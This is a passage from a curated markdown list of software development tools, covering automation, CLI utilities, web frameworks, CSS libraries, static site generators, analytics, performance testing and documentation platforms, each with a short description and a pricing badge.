(zapier like) - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Parabola](https://parabola.io/) - Your computer should work for you. Automates processes via an easy-to-use, drag-and-drop interface. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [reflex](https://github.com/cespare/reflex) - Run a command when files change - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [SikuliX1](https://github.com/RaiMan/SikuliX1) - SikuliX automates anything you see on the screen of your desktop computer running Windows, Mac or some Linux/Unix. It uses image recognition to identify GUI components and can act on them with mouse and keyboard actions. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [watchexec](https://github.com/watchexec/watchexec) - Executes commands in response to file modifications - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ### Browser Automation - [nightmare](https://github.com/segmentio/nightmare) - High-level browser automation library from Segment. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Phantom JS](https://github.com/ariya/phantomjs) - Scriptable Headless Browser scriptable with JavaScript - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [selenium](https://github.com/SeleniumHQ/selenium) - A browser automation framework and ecosystem - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Command Line Interface (CLI) - tools - [bullet](https://github.com/bchao1/bullet) - Beautiful Python Prompts Made Simple - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [cement](https://github.com/datafolklabs/cement) - Advanced Application Framework for Python, with a primary focus on Command Line Interfaces (CLI). Its goal is to introduce a standard, and feature-full platform for both simple and complex command line applications as well as support rapid development needs without sacrificing quality. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [cliff](https://github.com/openstack/cliff) - Framework for building command line programs. It uses entry points to provide subcommands, output formatters, and other extensions. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [enhancd](https://github.com/b4b4r07/enhancd) - 🚀 A next-generation cd command with your interactive filter - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [fd](https://github.com/sharkdp/fd) - A simple, fast and user-friendly alternative to 'find' - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [flow](https://www.getflow.com/why-flow) - Brings together your tasks, projects, timelines, and conversations, - [fx](https://github.com/antonmedv/fx) - Alternative to JQ - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [fzf](https://github.com/junegunn/fzf) - 🌸 A command-line fuzzy finder - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [htop](https://en.wikipedia.org/wiki/Top_(software)) - Interactive system-monitor for Linux or [bashtop](https://github.com/aristocratos/bashtop) - [jq](https://stedolan.github.io/jq/) - sed for JSON data - you can use it to slice and filter and map and transform structured data with the same ease that sed, awk, grep and friends let you play with text. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [plac](https://github.com/micheles/plac) - Plac: Parsing the Command Line the Easy Way - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [proji](https://github.com/nikoksr/proji) - A powerful cross-platform CLI project templating tool. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [PyInquirer](https://github.com/CITGuru/PyInquirer) - PyInquirer strives to be an easily embeddable and beautiful command line interface for Python. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [ripgrep](https://github.com/BurntSushi/ripgrep) - ripgrep recursively searches directories for a regex pattern while respecting your gitignore - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Suitcase](https://github.com/Impedimenta/Suitcase) - A flexible command line tool for instantly deploying user interfaces for simple commands and scripts on macOS. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [tree](https://en.wikipedia.org/wiki/Tree_(command)) - Lists the files in the current directory. and integrates with your favorite tools, to help you achieve more. - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) ## Development / Frameworks / Snippets _Reinventing the wheel can be fun but just in case you just don't feel like it, check the tools below_ - [Apprise](https://github.com/caronc/apprise) - App to send a notification to almost all of the most popular notification services available to us today such as: Telegram, Discord, Slack, Amazon SNS, Gotify, etc. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [AsciiSignature](http://www.kammerl.de/ascii/AsciiSignature.php/) - Generate ASCII signatures - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [bootstrap-table](https://bootstrap-table.com/) - Extended HTML tables for bootstrap. Adds search, sorting, ... (Supports Bootstrap, Semantic UI, Bulma, Material Design, Foundation) - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/bower/bower) - [Bower](https://bower.io/) - Web sites are made of lots of things — frameworks, libraries, assets, and utilities. Bower manages all these things for you. - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/bower/bower) - [Can i use](https://caniuse.com) - Browser support tables for comparing the availability of modern web technologies - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/Fyrd/caniuse) - [CodyHouse](https://github.com/CodyHouse/codyhouse-framework) - A lightweight front-end framework for building accessible, bespoke interfaces. Allows to design a web page (kinda wireframe deluxe). - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/CodyHouse/codyhouse-framework) - [cosmopolitan](https://github.com/jart/cosmopolitan) - Makes C a build-once run-anywhere language, like Java, except it doesn't need an interpreter or virtual machine. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [dark-mode-switch](https://github.com/coliff/dark-mode-switch) - Add a dark-mode theme toggle with a Bootstrap Custom Switch - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [dashboard](https://github.com/phntxx/dashboard) - A nice and simple dashboard / landing page inspired by SUI. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Dashing](http://dashing.io/) - Dashboard framework - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/Shopify/dashing) - [DashMachine](https://github.com/rmountjoy92/DashMachine) - Another web application bookmark dashboard, with fun features. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [datatables](https://datatables.net/) - jQuery plug-in that adds advanced features to any HTML table (pagination, search, ordering, sorting, themes, ... ) - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [ddev-local](https://www.ddev.com/ddev-local/) - Get local PHP development environments up and running within minutes. DDEV aims to allow development teams to use Docker in their workflow without the complexities of bespoke configuration. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [DockProgress](https://github.com/sindresorhus/DockProgress) - Show progress in your macOS app's Dock icon - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [easings](https://easings.net/en#) - Easing functions specify the rate of change of a parameter over time. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Fusioncharts](https://www.fusioncharts.com) - Get interactive and responsive charts for all your projects - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [Getuikit](https://getuikit.com/) - A lightweight and modular front-end framework for developing fast and powerful web interfaces - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/uikit/uikit) - [google chart](https://developers.google.com/chart/) - Display live data on your site - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/google/charts) - [gridjs](https://gridjs.io/) - - [Hot Examples](https://hotexamples.com/) - Code examples from over 1.000.000 projects for PHP, Python, Java, ... - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [insomnia](https://insomnia.rest/) - Debug APIs like a human, not a robot. Finally, a REST client you'll love - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [jamstack](https://jamstack.org/) - Fast and secure sites and apps delivered by pre-rendering files and serving them directly from a CDN, removing the requirement to manage or run web servers. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [jupyter](https://jupyter.org/index.html) - A web-based interactive development environment for Jupyter notebooks, code, and data. It allows interactive computing across dozens of programming languages. - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/jupyter/jupyter_server) - [lando](https://github.com/lando/lando) - local development and DevOps tool (lamp stack with drupal, wordpress, apache, elasticsearch, python, php, ...) - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Moonhome](https://moonhome.io/) - Remote Development Environment. Escape slow networks and underpowered notebooks. - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [not-paid](https://github.com/kleampa/not-paid) - Client did not pay? Add opacity to the body tag and decrease it every day until their site completely fades away. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Nprogress](https://github.com/rstacruz/nprogress) - Slim progress bars like on YouTube, Medium, etc - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [public apis](https://public-apis.xyz/) - Learn & Fuel up your tools, apps and business with powerful 1000+ public apis. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [rabbitmq](https://www.rabbitmq.com/) - Message Broker - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Socket](https://socket.io/) - Socket.IO enables real-time, bidirectional and event-based communication. It works on every platform, browser or device, focusing equally on reliability and speed. - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/socketio/socket.io) - [sui](https://github.com/jeroenpardon/sui) - A startpage for your server and / or new tab page - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [yeoman](https://github.com/yeoman/yeoman) - A set of tools for automating development workflow - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ### CSS - [98.css](https://github.com/jdan/98.css) - A design system for building faithful recreations of old UIs. (windows 98 style) - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [animista](https://animista.net/) - CSS animations on demand - - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [bulma](https://bulma.io/) - CSS framework based on Flexbox - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [CSS box-shadow](https://www.cssmatic.com/box-shadow) - Simply generate CSS box shadows - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [css-effects-snippets](https://emilkowalski.github.io/css-effects-snippets/) - A collection of CSS effects made with Vue.js. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Custom Shape Dividers](https://www.shapedivider.app/) - Generate and export a beautiful SVG - [generate-css](https://generate-css.com/) - Generate complex CSS easily (Box Shadow, Border Radius, Image Filter, Transform). - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [pattern-css](https://bansal.io/pattern-css#introduction) - CSS only library to fill your empty background with beautiful patterns. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [tailwindcomponents](https://tailwindcomponents.com/) - A free repository for community components using TailwindCSS - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [tailwindcss](https://tailwindcss.com/) - A highly customizable, low-level CSS framework for rapidly building custom designs. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) shape divider. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) ### PHP - [moment.php](https://github.com/fightbulc/moment.php) - Parse, validate, manipulate, and display dates in PHP w/ i18n support. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ### Python - [bandit](https://github.com/PyCQA/bandit) - A security linter for Python - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [glade](https://glade.gnome.org/) - Rapid application development (RAD) tool to enable quick & easy development of user interfaces for the GTK toolkit and the GNOME desktop environment. Can be used with C, C++, C#, Vala, Java, Perl, Python, ... - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [isort](https://github.com/timothycrosley/isort) - A Python utility / library to sort imports. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [kivy](https://kivy.org/#home) - Library for the rapid development of applications - [paramiko](https://www.paramiko.org/) - Paramiko is a Python (2.7, 3.4+) implementation of the SSHv2 protocol [1], providing both client and server functionality. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [PySimpleGUI](https://github.com/PySimpleGUI/PySimpleGUI) - Build a simple Graphical User Interface (GUI) with Python. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Python - Excel](https://xlsxwriter.readthedocs.io/#) - Python module for creating Excel XLSX files. - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/jmcnamara/XlsxWriter) - [python-requests](https://2.python-requests.org/en/master/) - A simple HTTP library for Python, built for human beings. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [remi](https://github.com/dddomodossola/remi) - Python REMote Interface library. GUI library for Python applications that gets rendered in web browsers. This allows you to access your interface locally and remotely. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) that make use of innovative user interfaces, such as multi-touch apps - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ### Javascript - [aos](https://github.com/michalsnik/aos) - Animate on scroll library - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [bootboxjs](http://bootboxjs.com/) - Create programmatic dialog boxes using Bootstrap modals, without having to worry about creating, managing, or removing any of the required DOM elements or JavaScript event handlers - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [gatsbyjs](https://www.gatsbyjs.org/) - Framework based on React that helps developers build blazing fast websites and apps. - [Grunt JS](https://gruntjs.com/) - JavaScript Task Runner, automates repetitive tasks like minification, compilation, unit testing, linting, ... - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/gruntjs/grunt) - [Handlebar JS](http://handlebarsjs.com/) - Handlebars is a simple templating language it allows building semantic templates effectively (largely compatible with mustache) - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/wycats/handlebars.js) - [htmldom](https://htmldom.dev/) - Manage HTML DOM with vanilla JavaScript - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [i18next](https://www.i18next.com/) - An internationalization-framework written in and for JavaScript. It provides you with a complete solution to localize your product from web to mobile and desktop. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [jdash](http://jdash.io/#about) - A customizable Javascript + Backend platform for adding end user designable dashboards into your web application - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [lodash](https://github.com/lodash/lodash) - A modern JavaScript utility library delivering modularity, performance, & extras. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [micromodal](https://micromodal.now.sh/) - A lightweight, configurable and a11y-enabled modal library written in pure JavaScript - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Mustache JS](https://github.com/janl/mustache.js) - Minimal templating with {{mustaches}} in JavaScript - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [notiflix](https://www.notiflix.com/) - A library for client-side non-blocking notifications, popup boxes, loading indicators, and more - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Parallax](https://pixelcog.github.io/parallax.js/) - Parallax.js is a dirt simple parallax scrolling effect inspired by Spotify.com and implemented as a jQuery plugin. - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/pixelcog/parallax.js/) - [PptxGenJS](https://github.com/gitbrent/PptxGenJS) - Create PowerPoint Presentations through JavaScript. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [riot.js](https://riot.js.org/) - Simple and elegant component-based UI library - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [runjs](https://runjs.dev/) - The JavaScript playground for your desktop, it runs code as it's written and displays formatted results in the output panel on the right. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [TimelineJS3](https://github.com/NUKnightLab/TimelineJS3) - A Storytelling Timeline built in JavaScript. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [tippyjs](https://atomiks.github.io/tippyjs/) - The complete tooltip, popover, dropdown, and menu solution for the web - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [websocketd](https://github.com/joewalnes/websocketd) - Turn any program that uses STDIN/STDOUT into a WebSocket server. Like inetd, but for WebSockets. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) #### Node.js - [broken-lin-checker](https://github.com/stevenvachon/broken-link-checker) - Find broken links, missing images, etc within your HTML. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [node-geoip](https://github.com/bluesmoon/node-geoip) - Implementation of Max's GeoIP API - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [node-html-to-text](https://github.com/werk85/node-html-to-text) - Advanced html to text converter - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [nodemon](https://nodemon.io/) - Nodemon is a utility for Node.js that will monitor for any changes in your source and automatically restart your server. - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/remy/nodemon/) - [pm2](http://pm2.keymetrics.io/) - Advanced, production daemon process manager for Node.JS that will help you manage and keep your application online 24/7 - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/Unitech/pm2) - [sails](https://github.com/balderdashy/sails) - Realtime MVC Framework for Node.js - [![](https://img.shields.io/badge/pricing-open--source-green)](#) #### React - [nextjs](https://nextjs.org/) - A framework that allows to write server-rendered React apps easily - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [react-bootstrap-table](https://github.com/AllenFang/react-bootstrap-table) - A Bootstrap table built with React.js - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [react-color](https://github.com/casesandberg/react-color) - Color Pickers from Sketch, Photoshop, Chrome, Github, Twitter & more - [![](https://img.shields.io/badge/pricing-open--source-green)](#) #### Vue.js - [awesome vuepress](https://github.com/vuepressjs/awesome-vuepress) - A curated list of awesome things related to VuePress - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [buefy](https://buefy.org/) - Lightweight UI components for Vue.js based on Bulma - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [gridsome](https://gridsome.org/) - Build modern websites, apps & PWAs that are fast by default 🚀 - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [nuxtjs](https://nuxtjs.org/) - Similar to next.js, but with Vue.js - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [vue JS](https://github.com/vuejs/vue) - A progressive, incrementally-adoptable JavaScript framework for building UI on the web. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [vuepress blog theme](https://github.com/z3by/vuepress-theme-modern-blog) - 🤩Modern blog theme for VuePress - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [vuepress tools](https://vuepress.tools) - List of plugins and themes for vuepress - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ### Fakers _Nearly as good as the real thing_ - [fake-s3](https://github.com/jubos/fake-s3) - Lightweight server that responds to the same API of Amazon S3 - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [python-faker](https://github.com/joke2k/faker) - A Python package that generates fake data for you - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ### Webdevelopment - [awesome-react-generator](https://github.com/iamtabrezkhan/awesome-react-generator) - No more clicking around to create files in your react project! Awesome React Generator is Command Line Tool that let's you generate component files/folders without leaving your terminal. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [devilbox](https://github.com/cytopia/devilbox) - Docker LAMP stack and MEAN stack for local development - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [DevKinsta](https://kinsta.com/devkinsta/) - Local WordPress development tool and environment (macOS,Windows, Ubuntu) - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [docksal](https://github.com/docksal/docksal) - Docker powered web development environments for macOS, Windows, and Linux. Unified environment for your team regardless of the OS. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [gasmask](https://github.com/2ndalpha/gasmask) - Hosts file manager for macOS - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [localwp](https://localwp.com/) - Local wordpress development tool - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [lovecroft](https://github.com/thesephist/lovecroft) - Minimal mailing list manager for static sites, with a simple JSON API - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [netsleuth](https://netsleuth.io/) - Use Chrome's Network Inspector with anything - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [ngrok](https://ngrok.com/) - Spend more time programming. One command for an instant, secure URL to your localhost server through any NAT or firewall. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [polyfill-service](https://github.com/financial-times/polyfill-service) - Polyfill.io reads the User-Agent header of each request and returns polyfills that are suitable for the requesting browser - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [responsively-app](https://github.com/manojVivek/responsively-app) - Open Source alternative to slashb. It's a modified browser that helps in responsive web development - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [sitebulb](https://sitebulb.com/) - Search Engine Optimization (SEO) tool - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [slashb](https://slashb.app/) - Spend half the time designing and developing responsive websites by testing them on multiple screens at once - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [Unzipper](https://github.com/ndeet/unzipper) - Small class to extract + compress .zip, .gz, .rar archives via browser. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ### Website builder / CMS _The building without the struggle_ - [Eleventy (11ty)](https://www.11ty.dev/) - A simpler static site generator. An alternative to Jekyll. Transforms a directory of templates (of varying types) into HTML. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Grav](https://github.com/getgrav/grav) - Grav is a Fast, Simple, and Flexible, file-based Web-platform - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [hexo.io](https://hexo.io/) - A fast, simple & powerful blog framework - [![](https://img.shields.io/badge/pricing-open--source-green)](#)s - [Hugo](https://gohugo.io/) - Static website generator based on markdown - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/gohugoio/hugo) - [pollygot](https://pollygot.com/) - Pollygot is a content platform that consolidates all the most important services you need to run your business. - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [rocket](https://github.com/modernweb-dev/rocket) - Another static site generator. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [statamic](https://statamic.com/) - Static site generator - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [Staticgen](https://www.staticgen.com/) - A List of Static Site Generators for JAMstack Sites - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/netlify/staticgen) - [strapi](https://strapi.io/) - Headless CMS Front-End - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [vuepress](https://vuepress.vuejs.org/) - Vue-powered Static Site Generator - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [zola](https://www.getzola.org/) - Your one-stop static site engine. Forget dependencies. Everything you need in one binary. - [![](https://img.shields.io/badge/pricing-open--source-green)](#)s ### Website Analysis / Analytics _Wonder how the big guys do it?_ - [Ackee](https://github.com/electerious/Ackee) - Node.js based analytics tool for those who care about privacy. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Built with](https://builtwith.com/) - Find out what websites are Built With - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [fathom](https://github.com/usefathom/fathom) - Simple, privacy-focused website analytics. Built with Golang & Preact - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Matomo](https://matomo.org/) - Web Analytics, Powerful Insights (alternative to google analytics, ...) - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Shynet](https://github.com/milesmcc/shynet) - Modern, privacy-friendly, and detailed web analytics that works without cookies or JS. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ### Website Speedtest / Performance and Configuration analysis _Make it fast_ - [Dareboost](https://www.dareboost.com/fr) - Website performance checking tool - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [Google lighthouse](https://github.com/GoogleChrome/lighthouse) - Automated auditing, performance metrics, and best practices for the web - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Google pagespeed](https://developers.google.com/speed/pagespeed/insights/) - PageSpeed Insights (PSI) reports on the performance of a page on both mobile and desktop devices, and provides suggestions on how that page may be improved. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [GTMetrix](https://gtmetrix.com/) -We'll breakdown your page performance in a summarized report: PageSpeed and YSlow scores and Recommendations, Page Load Details (time, size, number of requests), Waterfall, ... - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [host-tracker](https://www.host-tracker.com/v3/check) - Run website availability and performance check from different locations - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Pingdom](https://tools.pingdom.com/) - With Pingdom you can monitor your websites' uptime, performance, and interactions for a better end-user-experience. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [redbot](https://redbot.org/) - lint for HTTP resources; it tests protocol correctness, cacheability, content negotiation and more. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Sitespeed.io](https://github.com/sitespeedio/sitespeed.io/) - Helps you monitor, analyze and optimize your website speed and performance - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [web.dev](https://web.dev/measure/) - See how well your website performs. Then, get tips to improve your user experience. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Webhint](https://webhint.io/scanner/) - webhint is a customizable linting tool that helps you improve your site's accessibility, speed, cross-browser compatibility, and more by checking your code for best practices and common errors. - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/webhintio/hint) - [Webpagetest](http://www.webpagetest.org/) - Test a website's performance, helfpul waterfall charts - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Yellowlab](https://yellowlab.tools) - WebPerf and front-end quality testing tool - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/YellowLabTools/YellowLabTools/) #### Website emission analysis - [greenframe](https://greenframe.io/) - Measure and reduceyour website CO2 emissions - [![](https://img.shields.io/badge/pricing-free-yellow)](#) ## Documentation / Wikis / User Feedback _Because it's always difficult when facing a PEBKAC to tell him to RTFM...when there's no documentation_ - [appflowy](https://github.com/AppFlowy-IO/appflowy) - Open-source alternative to Notion. You are in charge of your data and customizations. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [archbee](https://www.archbee.io/) - Product docs on your domain, API documentation, developer guides, internal wikis, change logs & diagrams — all in one. - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [bookstackapp](https://www.bookstackapp.com/) - Self-hosted, easy-to-use platform for organising and storing information - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Carbon](https://github.com/dawnlabs/carbon) - Create and share beautiful images of your source code - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/carbon-app/carbon) - [coda](https://coda.io/for/knowledge-management) - Another tool for knowledge base management. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [ClickUp](https://clickup.com/features) - One app to replace them all. (Tasks, Docs, Chat, Goals) - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [codehike](https://github.com/code-hike/codehike) - Build first-class code walkthroughs for the web. Whether you are writing blog posts, documentation, tutorials, coding videos, or any type of technical content, Code Hike helps you create a superior code reading experience. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Daux](http://daux.io/) - Markdown based documentation generator - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/dauxio/daux.io) - [Docsify](https://github.com/docsifyjs/docsify/) - A magical documentation site generator - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Document 360](https://document360.com/features/) - Another Knowledge Base - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [Docusaurus](https://github.com/facebook/Docusaurus) - Easy to maintain open source documentation websites - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Docute](https://github.com/egoist/docute) - Effortless documentation, done right. Markdown + vue - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [gitbook](https://www.gitbook.com/) - Document Everything! A modern documentation platform where teams can document everything from products to internal knowledge-bases and APIs - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [glean](https://www.glean.com/features) - Searches across all your company’s apps. It understands context, language, behavior, and relationships with others, to find personalized answers to your questions—instantly. - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [guru](https://www.getguru.com/) - Company wiki that works in your workflow. Helps capture all of your company’s info & expertise and creates a single source of truth - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Knowledge Repo](https://github.com/airbnb/knowledge-repo) - A next-generation curated knowledge sharing platform for data scientists and other technical professions. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Mediawiki](https://www.mediawiki.org) - The wiki system that powers Wikipedia - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/wikimedia/mediawiki) - [MKdocs](http://www.mkdocs.org/) - Fast, simple and static site generator based on Markdown - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/mkdocs/mkdocs/) - [nextra](https://github.com/shuding/nextra) - Next.js based documentation site generator. 0 line of code needed, just write Markdown. It supports MDX, anchor links, file-system based routing and built-in syntax highlighting. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [notion](https://www.notion.so/product) - note taking / wiki app, can be extended with [super](https://super.so/builder) - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Nuclino](https://www.nuclino.com/) - Another wiki - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Orchid](https://github.com/orchidhq/Orchid) - Build and deploy beautiful documentation sites that grow with you - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [organigram](https://github.com/proshoumma/organigram) - A JSON based tree structure with drag and drop functionally to re-arrange the tree. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [orgchart](https://github.com/dabeng/vue-orgchart) - A simple and direct organization chart made with vue (also available for angular, react, jQuery ...)- [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Outline](https://www.getoutline.com/) - Wiki and knowledge base with slack integration. Supports markdown. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [percollate](https://github.com/danburzo/percollate) - 🌐 → 📖 A command-line tool to turn web pages into beautifully formatted PDFs - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [PHPback](http://www.phpback.org/) - Feedback system - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/ivandiazwm/phpback/) - [readthedocs](https://readthedocs.org/) - Documentation server - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [redoc](https://redoc.ly/) - API documentation - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Rmarkdown](https://github.com/rstudio/rmarkdown) - Create dynamic analysis documents that combine code, rendered output (such as figures), and prose. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [rootnroll](https://welcome.rootnroll.com/) - Interactive playground in a browser for your GitHub projectGet an isolated environment with your software ready to be played with - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Slab](https://slab.com/) - Knowledge base with several external integrations. - 